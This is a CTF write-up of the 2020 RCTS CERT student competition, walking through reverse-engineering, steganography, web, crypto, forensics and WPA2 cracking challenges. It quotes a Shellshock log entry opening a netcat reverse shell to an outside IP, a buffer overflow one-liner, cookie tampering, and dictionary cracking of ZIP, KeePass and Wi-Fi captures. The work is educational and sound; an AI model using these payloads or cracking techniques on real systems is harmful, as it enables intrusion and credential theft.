Summer 2020 RCTS CERT CTF Write-Up

August 06, 2020 ctf security writeup 23 minutes to read

This year the Computer Emergency Response Team (CERT) of the RCTS – The Science, Technology and Society Network – also known as NREN (National Research and Education Network), part of the FCCN (Foundation for National Scientific Computing) of the Portuguese Foundation for Science and Technology (FCT), organized for the first time a Capture The Flag competition targetting students from Portugal at different scholar degrees. The competition consisted of 21 challenges belonging to 7 different categories, namely: Reverse (5), Steganography (3), Web (3), Crypto (3), Forensics (4), Misc (2) and Wifi (1).

The scoreboard by the end of the competition was the following:

The challenges were solved with @0xz3z4d45, which was the team MVP! Kudos.

So let’s get to the challenges, per category. All the text was translated from Portuguese in a best-effort fashion.

Index

Reverse

reverse-100 (100 pts)

The file in annexe contains a code block in JavaScript. Use that to find the Flag.

reverse-100_js

Taking the file and spreading around some console.log, especially in the for loops that construct the strings from chars (String.fromCharCode), we could find the flag.

if (aaawwwyyyyy == "tjjjjeee883883jhnjnsmdnmansmndasdyasyds767styduyashbdhbasndb asnbdhasdhasghgd   jhasjhjhjdhjas jsdhasjhdjasdha hdjashdjashdsdddddueyu3y4y343434234bebb ") {
  z = 0;
  for (; z < ty000022r.length; z++) {
    cyuu = cyuu + String.fromCharCode(ty000022r[z]);
  }
console.log(cyuu);
}

Result:

Congrats! You reached the flag. flag{th1s_is_c0d3_obfustati0n}

reverse-200 (200 pts)

The flag is given by the execution of the binary reverse-200. Find the passwords to solve the challenge.

In this challenge the binary reverse-200 was given, that asked for a total of 4 passwords. We present two different approaches to solve this challenge.

GDB

Since the passwords are compared with our input using strcmp instructions, we can change the return value and bypass all the verifications.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
b *main+345
start
c
set $eax=0
b *main+440
c
set $eax=0
b *main+511
c
set $eax=0
b *main+582
c
set $eax=0
c

Saving this as script_reverse200 and executing it using GDB would give us the flag.

$ echo -e "\n\n\n\n" | gdb ./reverse-200 -x script_reverse200

Binary static analysis

Opening the binary file in Ghidra (or any other RE tool) will show several print statements with “peculiar” strings, namely: r3v3rs3, il0v3c0de, almostthere and hacktheplanet. Those strings seemed suspicious enough to be the password values, so we tried them. After several tries (swapping the order of input), we finally break the code.

$ ./reverse200
"Enter the first password" -> r3v3rs3

"Enter the second password" -> il0v3c0de

"Half-way there, enter the third password" -> almostthere

"Enter the last password"-> hacktheplanet


"Congrats, challenge solved!"
"flag{I_L0v3_C}"

reverse-300 (300 pts)

The file contains a JavaScript code block. Use it to find the Flag.

reverse-300_js

After pasting the code in the browser console and execute it we get the message: Working as expected! A secret has been created!!.

Opening the debug window we get the deofuscated code:

1
2
3
4
5
6
function hideflag(){
  var Flag="flag{Th1s_0ne_is_confusing}";
  console.log("Working as exepected!A secret has been created!!");
}

hideflag();

reverse-400 (400 pts)

Find out the output that is generated by the _puts function.

Contents of the Let_look_at_the_code.txt:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
_main proc near
var_18 = byte ptr -18h
var_10 = word ptr -10h
var_8 = qword ptr -8

push rbp
mov rbp, rsp
sub rsp, 20h
mov rax, 373073EAFD76FDEAh
mov qword ptr [rbp+var_18], rax
mov [rbp+var_10], 3Eh
mov word ptr [rbp+var_18], 6572h
mov word ptr [rbp+var_18+3], 7265h
mov word ptr [rbp+var_18+6], 6E69h
mov byte ptr [rbp+var_10], 67h
lea rdi, [rbp+var_18]
call _puts
xor eax, eax
add rsp, 20h
pop rbp
retn
_main endp*

By analyzing the code, we found that our “string” to be printed is pointed out by rbp+var_18. And although we can’t be sure of all the operations, we can map the several mov instructions by their difference to the base var_18 value.

OP rbp-18 rbp-16 rbp-14 rbp-12 rbp-10 rbp-8 rbp-6 rbp-4 rbp-2 rbp
mov word ptr [rbp+var_18], 6572h 65 72                  
mov word ptr [rbp+var_18+3], 7265h   – 72 65 –              
mov word ptr [rbp+var_18+6], 6E69h       69 6E            
mov byte ptr [rbp+var_10], 67h         67          
                     
Parse to Little Endian (LE) 72 65 – 65 72 – 6E 69 67          
To ASCII r e * e r * i n g          

After guessing the values of the asterisks, we found out that the flag was reversing.

reverse-500 (500 pts)

Find the flag in the ELF file.

Executing the file and messing around with the input leads us towards a segmentation fault, which points to a buffer overflow vulnerability. We present two different approaches to solve this challenge.

First, we could find the function get_the_flag() by just greping the strings of the binary:

$ strings reverse500 | grep flag
ns, conseguiste resolver este desafio,a flag do desafio
WARNING: Unsupported flag value(s) of 0x%x in DT_FLAGS_1.
s->_flags2 & _IO_FLAGS2_FORTIFY
version == NULL || (flags & ~(DL_LOOKUP_ADD_DEPENDENCY | DL_LOOKUP_GSCOPE_LOCK)) == 0
imap->l_type == lt_loaded && (imap->l_flags_1 & DF_1_NODELETE) == 0
get_the_flag
_dl_x86_hwcap_flags
_dl_stack_flags
_dl_x86_cap_flags

GDB

Solving this challenge using GDB, we could just call the get_the_flag() function using the following GDB script:

start
call (void) get_the_flag()

And calling the binary:

$ gdb reverse500 -x script_reverse500

We immediately get the flag: flag{ROP_TO_GET_THE_FLAG}

Binary Static Analysis

Opening the binary file in Ghidra (or any other RE tool), we found a series of direct values being moved. By converting those, we get the flag directly.

The flag is flag{ROP_TO_GET_THE_FLAG}.

By the flag content (ROP) and the possible buffer overflow, we conclude that we could jump to the get_the_flag() function by overflowing the function address pointer. However, we didn’t need to exploit in such a way to get the flag.

There was someone that shared the following solution after the end of the challenge (for future reference): $ ./reverse500 $(python -c "print 'A'*27 + '\x87\x9b\x04\x08'")

Steganography

stega-100 (100 pts)

Find the flag in the rctscert.txt file.

rctscert.txt

The rctscert.txt file is a simple plain text file which seemed inauspicious at the start. However, after looking closer, we found that several letters were at UPPERCASE in the middle of the text. Putting together such letters together lead us to USECODETOPARSE string which was the flag.

stega-200 (200 pts)

Find the flag in the file rctscert.jpg.

Running the typical stegno tools in the file did not output any useful information. However, typically, JPG files are used to hide secrets with the steghide tool. Since we had no password for the file (and empty password would not give anything), we jumped to brute force. Using the tool stegcrack and the rockyou dictionary (one of the most common dictionaries used in CTFs), we quickly found out the password:

$ stegcracker rctscert.jpg rockyou.txt
StegCracker 2.0.9 - (https://github.com/Paradoxis/StegCracker)
Copyright (c) 2020 - Luke Paris (Paradoxis)

Counting lines in wordlist..
Attacking file 'rctscert.jpg' with wordlist '/mnt/c/Tools/rockyou.txt'..
Successfully cracked file with password: honeybun
Tried 5884 passwords
Your file has been written to: rctscert.jpg.out
honeybun

took 53s

$ cat rctscert.jpg.out
flag{l3ts_pl@y_w1th_p1cs}

stega-300 (300 pts)

Find the flag in the file steganography-300.jpg.

This one was more tricky than the last one. binwalk pointed us to an embedded ZIP archive in the file. However, it just showed us the end of it, making it hard to just extract it from the image.

$ binwalk -e steganography-300.jpg

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             JPEG image data, JFIF standard 1.01
30            0x1E            TIFF image data, big-endian, offset of first image directory: 8
2197933       0x2189AD        End of Zip archive, footer length: 22

After some time and playing with several tools, stegoveritas was the key to solve the challenge. After running this tool, we get a lot of outputs, including metadata information, analysis under different colour maps and so on. One of the curious outputs was the traillingbits.bin, resulting from the tool analysis on the “trailing data of the given file”.

After hexdump the first lines of the bin file:

0000000 4bff 0403 0014 0000 0008 7d0f 4f38 aad8

The first bytes seemed like known Magic Bytes. Searching for the Zip hex signature, we could clearly see the proximity between the two. Fixing the header would give us a valid Zip (ff to 50).

0000000 4b50 0403 0014 0000 0008 7d0f 4f38 aad8

Extracting the Zip contents gave us a WAV file, sec_msg.wav. Opening it in a tool such Audacity in Spectrogram view would provide us with the flag.

spectogram

flag{ob@maISb@ck}

Web

webhack-100 (100 pts)

An address was given to an webpage with the following code:

<form action="" method="post">
<label>Password :</label>
<input id="password" name="password" placeholder="**********" type="password">
<input name="submit" type="submit" value="Login">
<!--f93fc10472a31bb3061aa0b45e228c5a-->
</form>

The hash in the comment was a known MD5 hash. After searching it, we found out that the value was strongpassword. Using it as password, we got the flag:

Congrats
You just solved the challenge.
The flag is: flag{MD5_H@ASH3D_P@SSW0RDS_ARE_W3@K}

webhack-200 (200 pts)

A webpage was given with a login form. The following credentials were provided:

user: user1 password: p@ssw0rd

We could log in immediately, but there was a part of the page that was only visible to admin users (user1 was not an admin).

After looking at the cookies of the website, we could see that there was a privileges key.

cookies

Taking the value, URL decoding it would give us a base64 string, which plain text value was admin=0. Crafting a new cookie value with the admin=1 content would give us admin powers (since there was no server-side validation), so we could get to the flag.

Congrats
You just solved the challenge.
The flag is: flag{C00KIES_AR3_B@D_F0R_P3RMISSI0NS}

webhack-300 (300 pts)

The give website runs the following code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
function checkpassword($user_supplied_password,$systempass){
  
   $login_password_length=strlen($systempass);
   $supplied_password_len=strlen($user_supplied_password);
   if($supplied_password_len!=0){ 
    for($i=0;$i<$supplied_password_len;$i++){
       
       if($i<$login_password_length) #Validar se a password do utilizador nao é maior que a password do sistema

       {

         if($user_supplied_password[$i]!=$systempass[$i]){
            echo $GLOBALS['wrongpass']; #Mensagem de erro "palavra pass errada"

            break;

         }else 
         { 
            if($i==($login_password_length-1)) 
              echo $GLOBALS['flaganswer'];  #Chegou ao fim da string e os caractares estao todos certos

           
         }
       }else
       {
         echo $GLOBALS['wrongpass'];
         break;
       }
    }  
   #Mensagem de erro "palavra pass errada" - nao foi introduzido palavra passe

   }else echo $GLOBALS['wrongpass'];
}   

By analyzing the code we could see that the password was verified char by char, and after experimenting a bit, we see that if we get the char right, the response was different from a wrong char (the page returned a Password wrong!! message in the wrong case or an empty response in the right case).

Using Burp Intruder feature, we could just send chars and then order by the response length to get the password.

The password was BAD22757B321. After entering it, we were given the flag:

flag{VULN3R@BLEP@SSW0RD_CH3CK3R}

Crypto

crypto-100 (100 pts)

Find the Flag by deciphering the following text:

N erfcbfgn nb qrfnsvb é synt{E0G13$@%%}

This seemed to be a ROT cypher. Using CyberChef, we found out that this was indeed a ROT13 cypher.

The solution was: A resposta ao desafio é flag{R0T13$@%%} (The challenge answer is flag{R0T13$@%%}).

crypto-200 (200 pts)

Consider the following phrase: The root password is “passroot”!

This phrase has the following hexadecimal representation after being ciphered:

a4c1603c82c66a68d0d9646f83de6a6e94896c6fd08b757d83da77739fdd273d

Decipher the following message:

a0c8777d92406b6fd1880f5dd0db606f80c676689189643c95da7179d0cd606f91cf6c73d040257a9cc86267a8995743b49a464ea9f95155c0e72138d58c455c8d

This seemed like an XOR cypher. Using the unxor tool and with a little bit of guessing around plain-text parts (passroot was one example) we could get the plain-text:

$ python unxor.py download1.dat -g passroot
The root password is "passroot"! Parabéns!!
A resposta a este desafio é flag{X0R_D3CRYPTI0N$$%%@@}

Translation: Congrats! The answer to the challenge is flag{X0R_D3CRYPTI0N$$%%@@}.

crypto-300 (300 pts)

The file public.pem is a public key of an RSA certificate. Find the private key and decipher the file ctf_secret.enc.

public.pem ctf_secret.enc

This challenge called for the use of the RsaCtfTool.

Running it:

$ python3 RsaCtfTool.py --publickey public.pem --private

[*] Testing key public.pem.
[*] Performing pollard_p_1 attack on public.pem.
[*] Performing fermat attack on public.pem.
[*] Performing factordb attack on public.pem.

Results for public.pem:

Private key :

priv.key

After having the private key is time for OpenSSL.

$ openssl rsautl -decrypt -in ctf_secret.enc -out out.txt -inkey key.pk

And the flag is: flag{lets_decrypt_with_w3@k_R5@_k3y}

Forensics

forensics-50 (50 pts)

We were given an OVA (Open Virtual Appliance) file, which was virtual machine. Changing the bootloader with init=/bin/bash gave us a root shell.

Booting the machine, and checking the bash history we got the flag.

forensics-100 (100 pts)

The following file comes from an Apache server which was compromised. It is known that the attack was an RCE (remote code execution) and it was carried over the Apache service.

Find the pieces of evidence of the attack in the log file and submit the flag using the following structure: flag{<ip_address>_<vulnerability_name>}.

apache_logs

Since it was a RCE vulnerability, the first search was for a reference to something like /bin/bash. The following appered:

195.169.55.85 - - [22/Jan/2018:10:34:00 +0100] "GET /cgi-bin/testing.cgi HTTP/1.0" 200 1 "-" "() { :;}; /bin/bash -c 'ping -c 3 191.252.134.38; id'"
195.169.55.85 - - [22/Jan/2018:10:35:12 +0100] "GET /cgi-bin/testing.cgi HTTP/1.0" 200 1 "-" "() { :;}; /bin/bash -c 'nc 191.252.134.38 4444 -e /bin/sh'"

The flag was: flag{195.169.55.85_shellshock}

forensics-200 (200 pts)

Someone lost its pen drive at the university five days ago. This pen drive was picked by a hacker that, besides keeping the pen for themself, also broke into the person PayPal account and stole their funds.

This was unexpected since the person used strong passwords. Look at the content of the pen drive (zip file) and find out the password. The flag has the format {secret}.

The pen drive had a Firefox portable application in it. Opening this app and look at the Saved Logins we could get the email and password of the aforementioned person.

The flag was: {use_keypass_instead}.

forensics-250 (250 pts)

They said that OpenBSD is a secure operating system. Someone tried to use it, thinking that even weak passwords are safe inside of it. The same person was listening to the “we will Rock You” hit while working. The Flag has the format flag{flag}.

We were given an OVA of a BSD machine. We could bypass the password protection by boot into single user mode at boot time (feature intended to password recovery ), and gain access to a root shell. Exploring the machine, we could find two interesting files:

  • /etc/master.passwd (same as Unix /etc/shadow)
  • /root/ctf.kdb

And we swapped (backup first) the root password using the recovery instructions (passwd).

We then used SSH to exfill the ctf.kdb file from the machine. Having the file, we proceed to convert it using John the ripper utility tool keepass2john.

$ keepass2john ctf.kdb > Keepasshash.txt

This allows us to brute-force the keypass password hash.

$ john --wordlist=rockyou.txt KeepassHash.txt

After bruteforcing the keypass file with the rockyou dictionary, we found out that the password was 281594elliot and the flag was now accessible: flag{keePassIsKewl}.

Misc

misc-100 (100 pts)

Find the flag in the following file:

stylist.html

The file has only squares with different colors. Analysing the HTML code something interesting, there was a pattern. id=nXX and background:#0000XX, where the XX values correspond to the following:

[11, 6b],[29, 48],[26, 56],[17, 56],[08, 61],[20, 5a],[06, 74],[09, 57],[14, 52],[04, 5a],[27, 66],[24, 62],[23, 6b],[10, 35],[15, 6f],[01, 6d],[16, 5a],[03, 68],[13, 33],[00, 5a],[02, 78],[05, 33],[12, 58],[31, 3d],[28, 51],[19, 75],[22, 56],[18, 39],[30, 30],[21, 57],[07, 6d],[25, 47]

Using CyberChef to sort the values by ID, convert the resulting ordered hex values (the last two digits from the hex color codes) to chars, and finally convert it from base64 to plain-text string, we get the flag: flag{find_the_needle_@}

misc-200 (200 pts)

Find the flag in the following file: flag.zip.

Using a zip cracker script (e.g. zipcracker.py) and using the rockyou dictionary we find out that the password was josh123.

Inside the zip was a text file which content was the flag: flag{br3@k_th3_z1P}.

Wifi

wifi-200

The following file contains data from a Wireless network. The MAC address of the Access Point is D0:FF:98:19:1F:33. The data comprises information about IVs of the 4-Way-Handshake between the AP clients and the AP. Find out the Wireless network password knowing that it uses WPA2.

wifi_capture-01.cap

Using aircrack-ng along with the rockyou dictionary we can crack the password.

$ aircrack-ng wifi_capture-01.cap -w rockyou.txt

The password (and flag) was allmines.

Wrap-up!

This was a challenging set of exercises that encompass several areas of security (at different levels of realism). Kudos for the CERT of the RCTS/FCCN for putting this up, and expect to see more competitions like this in the future!

Some other write-ups of these challenges around the web: